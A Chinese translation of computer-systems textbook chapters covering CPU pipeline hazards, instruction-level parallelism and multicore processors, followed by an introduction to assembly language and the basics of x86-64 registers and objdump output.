+ 获取(F):从内存中读取指令(由程序计数器指向)。
+ 解码(D):读取源寄存器并设置控制逻辑。
+ 执行(E):执行指令。
+ 内存(M):从数据内存读取或写入数据。
+ 写回(W):将结果存储到目标寄存器中。
记住,编译器将代码行转换为一系列机器码指令供 CPU 执行。汇编代码是机器码的人类可读版本。下面的代码片段展示了一系列虚构的汇编指令:
MOV M[0x84], Reg1 # move value at memory address 0x84 to register Reg1
ADD 2, Reg1, Reg1 # add 2 to value in Reg1 and store result in Reg1
MOV 4, Reg2 # copy the value 4 to register Reg2
ADD Reg2, Reg2, Reg2 # compute Reg2 + Reg2, store result in Reg2
JMP L1<0x14> # jump to executing code at L1 (code address 0x14)
如果你在解析代码片段时遇到困难,不用担心——我们会在第七章中更详细地讲解汇编。现在,重点是以下几个事实:
+ 每个指令集架构(ISA)都定义了一组指令。
+ 每条指令操作一个或多个操作数(即寄存器、内存或常数值)。
+ 并非所有指令执行时需要相同数量的流水线阶段。
在之前的讨论中,假设每条指令执行所需的周期数相同;然而,通常并非如此。例如,第一条`MOV`指令需要全部五个阶段,因为它需要将数据从内存移动到寄存器。相比之下,接下来的三条指令只需要四个阶段(F、D、E、W)来执行,因为这些操作仅涉及寄存器,而不涉及内存。最后一条指令(`JMP`)是一种*分支*或*条件*指令。它的目的是将控制流转移到代码的另一部分。具体来说,内存中的代码区域地址引用可执行文件中的不同*指令*。由于`JMP`指令不更新通用寄存器,因此省略了写回阶段,只需要三个阶段(F、D、E)。我们会在“条件控制和循环”部分的第 310 页中更详细地讨论条件指令。
当任何指令被迫等待其他指令执行完毕才能继续执行时,就会发生*流水线停顿*。编译器和处理器会尽力避免流水线停顿,以最大化性能。
#### 5.8.1 流水线考虑:数据冒险
当两条指令试图在指令流水线中访问相同的数据时,会发生*数据冒险*。例如,考虑前面代码片段中的第一对指令:
MOV M[0x84], Reg1 # move value at memory address 0x84 to register Reg1
ADD 2, Reg1, Reg1 # add 2 to value in Reg1 and store result in Reg1

*图 5-43:由于两条指令同时到达同一流水线阶段而产生的流水线冒险示例*
请记住,这条`MOV`指令需要五个阶段(因为它涉及到内存访问),而`ADD`指令只需要四个阶段。在这种情况下,两条指令将同时尝试写入寄存器`Reg1`(参见图 5-43)。
处理器通过首先强制每条指令执行五个流水线阶段来防止上述情况发生。对于那些通常需要少于五个阶段的指令,CPU 会添加一条“无操作”(`NOP`)指令(也称为流水线“冒泡”)来替代该阶段。
然而,问题仍然没有完全解决。由于第二条指令的目标是将`2`加到寄存器`Reg1`中存储的值上,因此`MOV`指令需要在`ADD`指令正确执行之前完成对寄存器`Reg1`的*写入*。在接下来的两条指令中,也存在类似的问题:
MOV 4, Reg2 # copy the value 4 to register Reg2
ADD Reg2, Reg2, Reg2 # compute Reg2 + Reg2, store result in Reg2

*图 5-44:处理器通过在指令之间转发操作数来减少流水线冒险造成的损害。*
这两条指令将值`4`加载到寄存器`Reg2`中,然后将其乘以 2(通过自加)。再次加入冒泡操作,以确保每条指令都执行五个流水线阶段。在这种情况下,不管是否有冒泡,第二条指令的执行阶段发生在第一条指令完成将所需值(`4`)写入寄存器`Reg2`之前。
增加更多冒泡是一种次优解,因为它会导致流水线停顿。相反,处理器采用一种称为*操作数转发*的技术,其中流水线从前一个操作中读取结果。参见图 5-44,当`MOV 4, Reg2`指令执行时,它将其结果转发给`ADD Reg2, Reg2, Reg2`指令。因此,当`MOV`指令正在写入寄存器`Reg2`时,`ADD`指令可以使用从`MOV`指令接收到的更新后的`Reg2`值。
#### 5.8.2 流水线冒险:控制冒险
流水线对于连续执行的指令进行了优化。程序中由条件语句(如`if`语句或循环)引起的控制变化会严重影响流水线性能。让我们看一个不同的代码示例,首先是 C 语言代码:
int result = *x; // x holds an int
int temp = *y; // y holds another int
if (result <= temp) {
result = result - temp;
}
else {
result = result + temp;
}
return result;
这个代码片段简单地从两个不同的指针读取整数数据,比较它们的值,然后根据结果执行不同的算术操作。以下是前述代码片段如何转换为汇编指令:
MOV M[0x84], Reg1 # move value at memory address 0x84 to register Reg1
MOV M[0x88], Reg2 # move value at memory address 0x88 to register Reg2
CMP Reg1, Reg2 # compare value in Reg1 to value in Reg2
JLE L1<0x14> # switch code execution to L1 if Reg1 less than Reg2
ADD Reg1, Reg2, Reg1 # compute Reg1 + Reg2, store result in Reg1
JMP L2<0x20> # switch code execution to L2 (code address 0x20)
L1:
SUB Reg1, Reg2, Reg1 # compute Reg1 - Reg2, store in Reg1
L2:
RET # return from function
这段指令序列从内存中加载数据到两个独立的寄存器中,比较它们的值,然后根据第一个寄存器中的值是否小于第二个寄存器中的值来执行不同的算术操作。在这个示例中,`if`语句由两条指令表示:比较(`CMP`)指令和条件跳转小于(`JLE`)指令。我们在《条件控制与循环》一章中会更详细地讲解条件指令,详见第 310 页;目前,了解`CMP`指令*比较*两个寄存器,而`JLE`指令是一种特殊类型的分支指令,只有在条件(即小于或等于,在此情况下)为真时才会将代码执行切换到程序的另一个部分,足矣。
**警告:不要被细节压倒!**
第一次查看汇编代码可能会让人感到有些畏惧。如果你有这种感觉,不用担心!我们将在第七章中详细介绍汇编语言。关键要点是,包含条件语句的代码会转化为一系列汇编指令,就像任何其他代码片段一样。然而,不同于其他代码片段,条件语句*不*一定以某种特定方式执行。条件语句执行的不确定性对管道有很大的影响。

*图 5-45:由条件分支引起的控制危害示例*
*控制危害*发生在管道遇到分支(或条件)指令时。发生这种情况时,管道必须“猜测”是否会执行该分支。如果分支不被执行,流程将继续按顺序执行下一条指令。请参考图 5-45 中的示例。如果执行了分支,接下来执行的指令应是`SUB`指令。然而,在`JLE`指令执行完之前,不可能知道是否执行了分支。此时,`ADD`和`JMP`指令已经加载到管道中。如果分支*确实*被执行,这些管道中的“垃圾”指令需要被移除,或者说需要被*刷新*,然后管道才能重新加载新指令。刷新管道是昂贵的操作。
硬件工程师可以选择几种方案来帮助处理器应对控制危害:
+ **暂停管道**:作为一种简单的解决方案,每当遇到分支时,加入大量的`NOP`气泡并暂停管道,直到处理器确定分支是否会被执行。虽然暂停管道可以解决问题,但它也会导致性能下降(参见图 5-46)。
+ **分支预测**:最常见的解决方案是使用*分支预测器*,它会根据之前的执行情况预测分支的走向。现代的分支预测器非常优秀且准确。然而,这种方法最近引发了一些安全漏洞(例如,Spectre^(21))。图 5-46 展示了分支预测器如何处理上述讨论的控制冒险问题。
+ **急切执行**:在急切执行中,CPU 同时执行分支的两边,并执行条件数据传输,而不是控制传输(分别通过 x86 和 ARMv8-A 中的`cmov`和`csel`指令实现)。条件数据传输使得处理器可以继续执行而不打断流水线。然而,并不是所有代码都能利用急切执行,特别是在指针解引用和副作用的情况下,这可能是危险的。

*图 5-46:处理控制冒险的潜在解决方案*
### 5.9 展望未来:当今的 CPU
CPU 流水线是*指令级并行*(ILP)的一种典型示例,其中 CPU 同时并行执行多个指令。在流水线执行中,CPU 通过重叠指令的执行来同时执行多个指令。一个简单的流水线 CPU 可以实现每时钟周期完成一条指令的 CPI 值为 1。现代微处理器通常采用流水线技术,并结合其他 ILP 技术,且包括多个 CPU 核心,从而实现小于 1 的处理器 CPI 值。对于这些微架构,通常使用每周期指令数(IPC)作为衡量其性能的指标。较大的 IPC 值表明处理器能够实现高度持续的指令并行执行。
晶体管是集成电路(芯片)上所有电路的构建基石。现代 CPU 的处理和控制单元由电路构成,这些电路是由子电路和基本逻辑门构建的,而这些逻辑门是通过晶体管实现的。晶体管还实现了用于 CPU 寄存器和快速片上缓存存储电路,缓存存储着最近访问过的数据和指令的副本(我们将在第十一章中详细讨论缓存)。
一个芯片上能容纳的晶体管数量是其性能的一个粗略衡量标准。*摩尔定律*是戈登·摩尔在 1975 年提出的观察结果,指出集成电路中每个芯片上的晶体管数量大约每两年翻一番。^(22) 每两年芯片上晶体管数量翻倍意味着计算机架构师可以设计出一个新的芯片,提供两倍的存储空间和计算电路,功率大约翻倍。从历史上看,计算机架构师利用额外的晶体管设计出更复杂的单一处理器,采用指令级并行(ILP)技术来提升整体性能。
#### 5.9.1 指令级并行性
指令级并行性(ILP)是指一组设计技术,用于支持单个程序的指令在单个处理器上的并行执行。ILP 技术对程序员是透明的,这意味着程序员编写的是一个顺序的 C 程序,但处理器可以在一个或多个执行单元上同时并行执行其中的多个指令。流水线就是 ILP 的一种示例,其中一系列程序指令同时执行,每个指令处于不同的流水线阶段。一个流水线处理器每个周期可以执行一条指令(可以达到每周期指令数 1 的 IPC)。其他类型的微处理器 ILP 设计可以在每个时钟周期执行多条指令,并且达到超过 1 的 IPC 值。
*向量处理器*是一种通过特殊的向量指令来实现 ILP 的架构,这些向量指令将一维数组(向量)作为操作数。向量处理器通过多个执行单元并行执行向量指令,每个单元对其向量操作数的单个元素执行算术操作。在过去,向量处理器通常用于大型并行计算机。1976 年的 Cray-1 是首个基于向量处理器的超级计算机,Cray 在 1990 年代继续设计其基于向量处理器的超级计算机。然而,最终这种设计无法与其他并行超级计算机设计竞争,今天向量处理器主要出现在加速器设备中,例如图形处理单元(GPU),这些设备特别优化了对存储在一维数组中的图像数据进行计算。
*超标量*是 ILP 处理器设计的另一个示例。超标量处理器是一个具有多个执行单元和多个执行管道的单一处理器。超标量处理器从顺序程序的指令流中获取一组指令,并将其拆分为多个独立的指令流,这些指令流由执行单元并行执行。超标量处理器是一种*乱序处理器*,即执行指令的顺序不按照它们在顺序指令流中出现的顺序执行。乱序执行需要识别没有依赖关系的指令序列,这些指令可以安全地并行执行。超标量处理器包含功能,能够动态创建多个独立的指令流,通过其多个执行单元进行处理。此功能必须执行依赖性分析,以确保任何执行依赖于前一条指令结果的指令能够正确排序。例如,具有五个流水线执行单元的超标量处理器可以在一个周期内执行顺序程序中的五条指令(可以实现每周期指令数 IPC 为 5)。然而,由于指令间的依赖关系,超标量处理器并不总能保持所有管道都处于满负荷状态。
*超长指令字*(VLIW)是另一种类似于超标量的 ILP 微架构设计。然而,在 VLIW 架构中,编译器负责构建由处理器并行执行的多个独立指令流。VLIW 架构的编译器分析程序指令,以静态方式构建一个 VLIW 指令,其中包含多个来自每个独立流的指令。与超标量架构相比,VLIW 带来更简化的处理器设计,因为 VLIW 处理器无需执行依赖性分析来构建多个独立的指令流,作为执行程序指令的一部分。相反,VLIW 处理器只需要增加电路来获取下一个 VLIW 指令,并将其拆分为多个指令,然后将这些指令送入每个执行管道。然而,通过将依赖性分析推给编译器,VLIW 架构需要专门的编译器来实现良好的性能。
超标量和 VLIW 的一个问题是,它们的并行性能往往受到它们所执行的顺序应用程序的显著限制。程序中指令之间的依赖关系限制了保持所有管道满负荷运行的能力。
#### 5.9.2 多核与硬件多线程
通过设计使用越来越复杂的 ILP 技术并提高 CPU 时钟速度以驱动这些越来越复杂的功能,计算机架构师设计了性能跟随摩尔定律的处理器,直到 2000 年代初。此后,CPU 时钟速度无法再增加,而不大幅提高处理器的功耗。^(23)这导致了当前多核和多线程微架构的时代,二者都要求程序员进行*显式并行编程*,以加速单个程序的执行。
*硬件多线程*是一种支持执行多个硬件线程的单处理器设计。*线程*是独立的执行流。例如,两个运行中的程序各自有一个独立的执行线程。这两个程序的执行线程可以由操作系统调度,在多线程处理器上“同时”运行。硬件多线程可能通过处理器在每个周期轮流执行来自各个线程指令流的指令来实现。在这种情况下,不是每个周期都同时执行不同硬件线程的所有指令,而是处理器被设计为快速切换执行来自不同线程的指令流。这通常会导致整体执行速度比在单线程处理器上的执行更快。
多线程可以在标量型或超标量型微处理器的硬件中实现。至少,硬件需要支持从多个独立的指令流中提取指令(每个执行线程一个),并为每个线程的执行流提供独立的寄存器集。这些架构是*显式多线程*^(24)的,因为与超标量架构不同,每个执行流都是由操作系统独立调度,以执行单独的程序指令逻辑序列。多个执行流可以来自多个顺序程序,也可以来自单个多线程并行程序中的多个软件线程(我们在第 14.1 节讨论多线程并行编程)。
基于超标量处理器的硬件多线程微架构具有多个流水线和多个执行单元,因此它们可以同时并行地执行来自多个硬件线程的指令,从而实现大于 1 的 IPC 值。基于简单标量处理器的多线程架构实现了*交错多线程*。这些微架构通常共享一个流水线,并始终共享处理器的单一 ALU(CPU 在不同线程之间切换执行)。这种类型的多线程无法实现大于 1 的 IPC 值。由超标量微架构支持的硬件线程通常被称为*同时多线程*(SMT)。^(25) 不幸的是,SMT 通常用来指代两种类型的硬件多线程,单凭这个术语无法确定一个多线程微架构是否实现了真正的同时多线程或交错多线程。
*多核处理器*包含多个完整的 CPU 核心。像多线程处理器一样,每个核心由操作系统独立调度。然而,多核处理器的每个核心都是一个完整的 CPU 核心,具有执行程序指令的完整和独立功能。多核处理器包含这些 CPU 核心的副本,并且提供一些额外的硬件支持,使得核心之间能够共享缓存数据。多核处理器的每个核心可以是标量、超标量或硬件多线程的。图 5-47 展示了一个多核计算机的例子。

*图 5-47:一台具有多核处理器的计算机。该处理器包含多个完整的 CPU 核心,每个核心都有自己的私有缓存内存。核心之间通过片上总线进行通信,并共享一个更大的共享缓存内存。*
多核微处理器设计是处理器架构性能继续跟上摩尔定律的主要方式,而无需提高处理器时钟频率。多核计算机可以同时运行多个顺序程序,操作系统将每个核心调度到不同程序的指令流。它还可以加速单个程序的执行,如果该程序被写成显式的多线程(软件级线程)并行程序。例如,操作系统可以将单个程序的线程调度到多核处理器的各个核心上同时运行,从而加快程序的执行速度,相较于执行该程序的顺序版本。在第十四章中,我们将讨论多核及其他类型共享主内存的并行系统的显式多线程并行编程。
#### 5.9.3 一些示例处理器
目前,处理器的构建采用了 ILP、硬件多线程和多核技术的混合方式。事实上,几乎找不到不是多核的处理器。桌面级处理器通常有两个到八个核心,其中许多还支持每个核心的低级多线程。例如,AMD Zen 多核处理器^(26)和英特尔的超线程多核 Xeon 及 Core 处理器^(27)都支持每个核心两个硬件线程。英特尔的超线程核心实现了交错多线程。因此,每个核心只能达到 1 的 IPC,但通过每颗芯片上多个 CPU 核心,处理器可以实现更高的 IPC。
为高端系统设计的处理器,例如用于服务器和超级计算机的处理器,通常包含多个核心,每个核心具有较高程度的多线程。例如,Oracle 的 SPARC M7 处理器^(28),用于高端服务器,拥有 32 个核心。每个核心有八个硬件线程,其中两个可以同时执行,导致处理器的最大 IPC 值为 64。世界上最快的两台超级计算机(截至 2019 年 6 月)^(29)使用的是 IBM 的 Power 9 处理器。^(30) Power 9 处理器每颗芯片最多有 24 个核心,每个核心支持最多八路同时多线程。Power 9 处理器的 24 核心版本可以实现 192 的 IPC 值。
### 5.10 小结
本章介绍了计算机的架构,重点讲解了处理器(CPU)的设计与实现,以帮助理解计算机如何运行程序。今天的现代处理器基于冯·诺依曼架构,该架构定义了存储程序的通用计算机。冯·诺依曼架构的通用设计使得它能够执行任何类型的程序。
为了理解 CPU 如何执行程序指令,我们构建了一个示例 CPU,从基本的逻辑门构建模块开始,创建电路以共同实现一个数字处理器。数字处理器的功能通过结合控制、存储和算术/逻辑电路构建,并通过时钟电路驱动其执行程序指令的取指(Fetch)、解码(Decode)、执行(Execute)和写回(WriteBack)阶段。
所有处理器架构都实现了指令集架构(ISA),该架构定义了 CPU 指令集、CPU 寄存器集以及执行指令对处理器状态的影响。存在许多不同的 ISA,并且通常会有针对特定 ISA 的不同微处理器实现。今天的微处理器还使用各种技术来提高处理器性能,包括流水线执行、指令级并行和多核设计。
要更全面深入地了解计算机架构,我们推荐阅读计算机架构教科书。^(31)
### 注释
1. “ACM 图灵奖得主,” *[`amturing.acm.org/`](https://amturing.acm.org/)*
2. “现代计算机架构的先驱获得 ACM 图灵奖,” ACM 媒体中心通知,2018 年 3 月,*[`www.acm.org/media-center/2018/march/turing-award-2017`](https://www.acm.org/media-center/2018/march/turing-award-2017)*
3. 大卫·艾伦·格里尔,*《当计算机是人类时》*,普林斯顿大学出版社,2005 年。
4. 梅根·加伯,“计算能力曾经是用*千女孩*来衡量的,” *《大西洋月刊》*,2013 年 10 月 16 日。*[`www.theatlantic.com/technology/archive/2013/10/computing-power-used-to-be-measured-in-kilo-girls/280633/`](https://www.theatlantic.com/technology/archive/2013/10/computing-power-used-to-be-measured-in-kilo-girls/280633/)*
5. 贝蒂·亚历山德拉·图尔,*《艾达,数字魔法师》*,草莓出版社,1998 年。
6. 乔治·戴森,*《图灵的教堂:数字宇宙的起源》*,潘提翁出版社,2012 年。
7. 沃尔特·艾萨克森,*《创新者:一群发明家、黑客、天才和极客如何创造数字革命》*,西蒙与舒斯特出版公司,2014 年。
8. 艾伦·M·图灵,“关于可计算数,及其在*决策问题*中的应用,” *《伦敦数学会会刊》* 2(1),页 230–265,1937 年。
9. 布莱恩·卡朋特与罗伯特·多兰,“另一个图灵机,” *《计算机期刊》* 20(3),页 269–279,1977 年。
10. 詹姆斯·A·里兹、惠特菲尔德·迪菲与 J·V·菲尔德(编辑),*《在布莱切利公园破译电传密码:关于 Tunny 的总体报告,重点介绍统计方法(1945 年)》*,威利出版社,2015 年。
11. 杰克·科普兰等,*《科洛苏斯:布莱切利公园破解密码计算机的秘密》*,牛津大学出版社,2010 年。
12. 贾内特·阿贝特,*《性别重编码》*,麻省理工学院出版社,2012 年。
13. 沃尔特·艾萨克森,*《创新者:一群发明家、黑客、天才和极客如何创造数字革命》*,西蒙与舒斯特出版公司,2014 年。
14. 贾内特·阿贝特,*《性别重编码》*,麻省理工学院出版社,2012 年。
15. 利安·埃里克森,*《绝密玫瑰:二战中的女性计算机》*,公共广播系统,2010 年。
16. 凯西·克莱曼,《计算机》,*[`eniacprogrammers.org/`](http://eniacprogrammers.org/)*
17. 约翰·冯·诺依曼,“EDVAC 报告的第一稿(1945 年)。” 重新刊载于*《IEEE 计算机历史年鉴》*第 4 期,页 27–75,1993 年。
18. 约翰·冯·诺依曼,“EDVAC 报告的第一稿(1945 年)。” 重新刊载于*《IEEE 计算机历史年鉴》*第 4 期,页 27–75,1993 年。
19. 沃尔特·艾萨克森,*《创新者:一群发明家、黑客、天才和极客如何创造数字革命》*,西蒙与舒斯特出版公司,2014 年。
20. 一个建议是 John Hennessy 和 David Patterson 的*《计算机架构:定量方法》*,摩根·考夫曼出版社,2011 年。
21. Peter Bright, “谷歌:软件永远无法修复 Spectre 类型的漏洞,” *Ars Technica*, 2019 年。
22. 摩尔在 1965 年首次观察到每年翻倍的趋势;他在 1975 年将这一趋势更新为每超过 2 年一次,这被称为摩尔定律。摩尔定律一直有效,直到 2012 年左右,晶体管密度的提升开始放缓。摩尔预测摩尔定律将在 2020 年代中期结束。
23. Adrian McMenamin, “Dennard 缩放的终结,” *[`cartesianproduct.wordpress.com/2013/04/15/the-end-of-dennard-scaling/`](https://cartesianproduct.wordpress.com/2013/04/15/the-end-of-dennard-scaling/)*
24. T. Ungerer, B. Robic, 和 J. Silc, “具有显式多线程的处理器调查,” *ACM 计算机调查* 35(1), 第 29–63 页, 2003 年。
25. T. Ungerer, B. Robic, 和 J. Silc, “具有显式多线程的处理器调查,” *ACM 计算机调查* 35(1), 第 29–63 页, 2003 年。
26. *[`www.amd.com/en/technologies/zen-core`](https://www.amd.com/en/technologies/zen-core)*
27. *[`www.intel.com/content/www/us/en/architecture-and-technology/hyper-threading-technology.html`](https://www.intel.com/content/www/us/en/architecture-and-technology/hyper-threading-technology.html)*
28. *[`web.archive.org/web/20190819165804/http://www.oracle.com/us/products/servers-storage/sparc-m7-processor-ds-2687041.pdf`](https://web.archive.org/web/20190819165804/http://www.oracle.com/us/products/servers-storage/sparc-m7-processor-ds-2687041.pdf)*
29. *[`www.top500.org/lists/top500/`](https://www.top500.org/lists/top500/)*
30. *[`www.ibm.com/it-infrastructure/power/power9`](https://www.ibm.com/it-infrastructure/power/power9)*
31. 一个建议是 David A. Patterson 和 John L. Hennessy 的*《计算机组织与设计:硬件与软件接口》*,摩根·考夫曼出版社,2010 年。
# 第七章:C 语言深度解析:探索汇编
*Under the C, under the C Don’t you know it’s better Dealing with registers And assembly?
—塞巴斯蒂安,可能*

在编译器发明之前的计算机早期,许多程序员使用*汇编语言*进行编码,汇编语言直接指定计算机在执行过程中遵循的指令集。汇编语言是程序员在不直接编写 1 和 0 的代码的情况下,最接近机器级编码的方式,也是*机器代码*的一种可读形式。为了编写高效的汇编代码,程序员必须深入理解底层机器架构的运作。
编译器的发明从根本上改变了程序员编写代码的方式。*编译器*将人类可读的编程语言(通常使用英语单词编写)翻译成计算机能够理解的语言(即机器代码)。编译器使用编程语言的规则、操作系统的规范和机器的指令集,将人类可读的代码翻译成机器代码,并在过程中提供错误检测和类型检查。大多数现代编译器生成的汇编代码与过去手写的汇编代码一样高效。
### 学习汇编语言的好处
尽管编译器有很多好处,但学习汇编语言的价值可能并不明显。然而,学习和理解汇编代码有几个非常有说服力的理由。以下是一些例子。
#### 高层抽象掩盖了程序中的宝贵细节
高级编程语言提供的抽象对于减少编程的复杂性是一大福音。同时,这种简化使得程序员在做设计决策时,可能并没有完全理解他们选择在机器级上的实际影响。缺乏汇编语言的知识往往会阻止程序员理解程序运行中的宝贵信息,并限制他们了解代码实际执行情况的能力。
作为例子,请看下面的程序:
include <stdio.h>
int adder() {
int a;
return a + 2;
}
int assign() {
int y = 40;
return y;
}
int main() {
int x;
assign();
x = adder();
printf("x is: %d\n", x);
return 0;
}
这个程序的输出是什么?乍一看,`assign`函数似乎没有任何效果,因为它的返回值没有被`main`中的任何变量存储。`adder`函数返回`a + 2`的值,尽管变量`a`没有初始化(不过在某些机器上,编译器会将`a`初始化为 0)。打印`x`应该会得到一个未定义的值。然而,在大多数 64 位机器上编译并运行该程序时,结果总是`42`:
$ gcc -o example example.c
$ ./example
x is: 42
这个程序的输出乍一看似乎毫无意义,因为`adder`和`assign`函数似乎没有连接在一起。理解栈帧和函数是如何在幕后执行的,将帮助你理解为什么答案是`42`。我们将在接下来的章节中重新审视这个例子。
#### 一些计算机系统由于资源限制,无法使用编译器
最常见的“计算机”是那些我们无法直接识别为计算机的设备。这些设备无处不在,从汽车、咖啡机到洗衣机和智能手表。传感器、微控制器和其他嵌入式处理器在我们的生活中扮演着越来越重要的角色,并且所有这些设备都需要软件来运行。然而,这些设备中所含的处理器通常非常小,以至于无法执行由高级编程语言编写的编译代码。在许多情况下,这些设备需要独立的汇编程序,而这些程序不依赖于常见编程语言所需的运行时库。
#### 漏洞分析
一部分安全专业人员的工作是尝试识别各种计算机系统中的漏洞。许多攻击程序的途径涉及程序如何存储其运行时信息。学习汇编语言使安全专家能够理解漏洞是如何产生的,以及如何被利用。
其他安全专家则花时间“逆向工程”恶意代码,例如恶意软件中的代码。掌握汇编语言的基本知识对这些软件工程师至关重要,能够帮助他们迅速开发对策,保护系统免受攻击。最后,缺乏对自己编写的代码如何转换为汇编语言的理解的开发人员,可能会无意中编写出有漏洞的代码。
#### 系统级软件中的关键代码序列
最后,计算机系统中有些组件是编译器无法充分优化的,必须手写汇编代码。一些系统层次中,存在手写的汇编代码,这些代码在需要进行详细的机器特定优化以提升性能的区域中至关重要。例如,所有计算机的引导序列都是用汇编语言编写的。操作系统通常包含手写的汇编代码,用于线程或进程上下文切换。在这些短小且对性能至关重要的代码序列中,人类通常能够写出比编译器更优化的汇编代码。
### 你将在接下来的章节中学到什么
接下来的三章将介绍三种不同风格的汇编语言。第七章和第八章介绍 x86-64 及其早期版本 IA32。 第九章介绍 ARMv8-A 汇编语言,这是大多数现代 ARM 设备的指令集架构(ISA),包括像 Raspberry Pi 这样的单板计算机。第十章总结了学习汇编的要点和一些关键的收获。
每种不同风格的汇编实现了不同的指令集架构(ISA)。回想一下,*ISA*(参见第五章)定义了指令及其二进制编码、CPU 寄存器的集合,以及执行指令时对 CPU 和内存状态的影响。
在接下来的三章中,你将看到所有 ISA 之间的普遍相似性,包括 CPU 寄存器作为许多指令的操作数,并且每个 ISA 提供类似类型的指令:
+ 用于计算算术和逻辑运算的指令,例如加法或按位与。
+ 用于控制流的指令,这些指令用于实现分支操作,如 if–else、循环和函数调用与返回。
+ 用于数据移动的指令,这些指令在 CPU 寄存器和内存之间加载和存储值。
+ 用于从栈中推送和弹出值的指令。这些指令用于实现执行调用栈,当函数被调用时,一个新的栈帧(存储运行函数的局部变量和参数)会被添加到栈顶,而函数返回时,栈顶的栈帧会被移除。
一个 C 语言编译器将 C 源代码翻译为特定的 ISA 指令集。编译器将 C 语句,包括循环、`if`–`else`、函数调用和变量访问,翻译成由 ISA 定义并由设计来执行该 ISA 指令的 CPU 实现的特定指令集。例如,编译器将 C 语言翻译为 x86 指令,以便在 Intel x86 处理器上执行,或将 C 语言翻译为 ARM 指令,以便在 ARM 处理器上执行。
当你阅读本书汇编部分的章节时,你可能会注意到一些关键术语被重新定义,并且一些图表被重复展示。为了更好地帮助其他计算机科学教育工作者,我们设计了每章可以在特定的高校和大学独立使用。虽然每一章中的大部分内容都是独特的,但我们希望章节之间的共性有助于加强读者对不同汇编风格之间相似性的理解。
准备好学习汇编语言了吗?让我们直接开始吧!
# 第八章:64 位 x86 汇编(X86-64)

在本章中,我们将介绍 Intel 架构的 64 位(x86-64)指令集架构。回想一下,指令集架构(或 ISA;见第五章)定义了机器级程序的指令集和二进制编码。为了运行本章的示例,你需要一台配有 64 位 x86 处理器的机器。“x86”这个术语通常与 IA-32 架构同义。该架构的 64 位扩展被称为 x86-64(或 x64),并且在现代计算机中普遍存在。IA32 和 x86-64 都属于 x86 架构家族。
要检查你的 Linux 机器是否有 64 位 Intel 处理器,可以运行`uname -p`命令。如果你有一个 x86-64 系统,你应该看到类似以下的输出:
$ uname -p
x86_64
由于 x86-64 是较小的 IA32 ISA 的扩展,因此一些读者可能更喜欢讨论 IA32。欲了解更多关于 IA32 的内容,请参见第八章。
x86 语法分支
x86 架构通常遵循两种不同的语法分支之一。Unix 机器通常使用 AT&T 语法,因为 Unix 是在 AT&T 贝尔实验室开发的。对应的汇编程序是 GNU 汇编器(GAS)。由于我们在本书中的大多数示例都使用 GCC,因此本章将介绍 AT&T 语法。Windows 机器通常使用 Intel 语法,这是微软宏汇编器(MASM)使用的语法。Netwide 汇编器(NASM)是一个使用 Intel 语法的 Linux 汇编器示例。关于哪种语法优于另一种的争论,是该领域的“圣战”之一。然而,熟悉两种语法都是有价值的,因为程序员在不同的情况下可能会遇到其中的任何一种。
### 7.1 深入汇编:基础知识
对于第一次接触 x64 汇编,我们将修改第六章中的`adder`函数,以简化其行为。修改后的函数(`adder2`)如下所示:
include <stdio.h>
//adds two to an integer and returns the result
int adder2(int a) {
return a + 2;
}
int main(){
int x = 40;
x = adder2(x);
printf("x is: %d\n", x);
return 0;
}
要编译这段代码,使用以下命令:
$ gcc -o adder adder.c
接下来,让我们通过使用`objdump`命令查看这段代码的相应汇编:
$ objdump -d adder > output
$ less output
在使用`less`查看文件`output`时,通过键入`/adder2`来查找与`adder2`相关的代码片段。与`adder2`相关的部分应该类似于以下内容:
0000000000400526
400526: 55 push %rbp
400527: 48 89 e5 mov %rsp,%rbp
40052a: 89 7d fc mov %edi,-0x4(%rbp)
40052d: 8b 45 fc mov -0x4(%rbp),%eax
400530: 83 c0 02 add $0x2,%eax
400533: 5d pop %rbp
400534: c3 retq
如果你现在还不理解发生了什么,也不用担心。我们将在后面的章节中更详细地讲解汇编语言。现在,让我们来研究这些单独指令的结构。
在前面的示例中,每一行都包含了程序内存中指令的 64 位地址、与指令对应的字节,以及指令本身的明文表示。例如,`55`是指令`push %rbp`的机器码表示,而该指令位于程序内存中的地址`0x400526`。请注意,`0x400526`是与`push %rbp`指令相关的完整 64 位地址的简写;为了可读性,前导零被省略。
需要注意的是,一行 C 代码通常会翻译成汇编中的多条指令。操作`a + 2`会由两条指令`mov -0x4(%rbp),%eax`和`add $0x2,%eax`来表示。
**警告:您的汇编代码可能会有所不同!**
如果你和我们一起编译代码,你可能会注意到你的汇编示例与本书中显示的有所不同。任何编译器输出的精确汇编指令取决于该编译器的版本以及底层操作系统。本书中的大多数汇编示例是在运行 Ubuntu 或 Red Hat Enterprise Linux(RHEL)系统上生成的。
在接下来的示例中,我们没有使用任何优化标志。例如,我们通过命令`gcc -o example example.c`编译任何示例文件(`example.c`)。因此,接下来的示例中会有许多看似冗余的指令。请记住,编译器并不是“聪明”的——它只是遵循一系列规则将人类可读的代码翻译成机器语言。在这个翻译过程中,出现一些冗余是很常见的。优化编译器在优化过程中会去除这些冗余,这部分内容在第十二章中讲解。
#### 7.1.1 寄存器
回顾一下,*寄存器*是一个位于 CPU 内部的字长存储单元。可能会有单独的寄存器用于数据、指令和地址。例如,英特尔的 CPU 有 16 个寄存器用于存储 64 位数据:`%rax`、`%rbx`、`%rcx`、`%rdx`、`%rdi`、`%rsi`、`%rsp`、`%rbp`,以及`%r8`到`%r15`。除了`%rsp`和`%rbp`外,所有寄存器都用于保存通用的 64 位数据。虽然程序可以将寄存器的内容解释为整数或地址等,但寄存器本身并不做区分。程序可以从所有 16 个寄存器中读取或写入数据。
寄存器`%rsp`和`%rbp`分别被称为*栈指针*和*帧指针*(或*基指针*)。编译器为这些寄存器保留了用于维护程序栈布局的操作。例如,寄存器`%rsp`始终指向栈顶。在早期的 x86 系统(例如 IA32)中,帧指针通常跟踪活动栈帧的基地址,并帮助引用参数。然而,在 x86-64 系统中,基指针的使用变得较少。编译器通常将前六个参数分别存储在寄存器`%rdi`、`%rsi`、`%rdx`、`%rcx`、`%r8`和`%r9`中。寄存器`%rax`用于存储函数的返回值。
最后一个值得提及的寄存器是`%rip`,即*指令指针*,有时也叫做*程序计数器*(PC)。它指向 CPU 将要执行的下一条指令。与前面提到的 16 个寄存器不同,程序不能直接写入`%rip`寄存器。
#### 7.1.2 高级寄存器符号
由于 x86-64 是 32 位 x86 架构的扩展(而 32 位 x86 本身是早期 16 位版本的扩展),ISA 提供了机制来访问每个寄存器的低 32 位、低 16 位和低字节。表 7-1 列出了每个寄存器以及访问其组件字节的 ISA 标记。
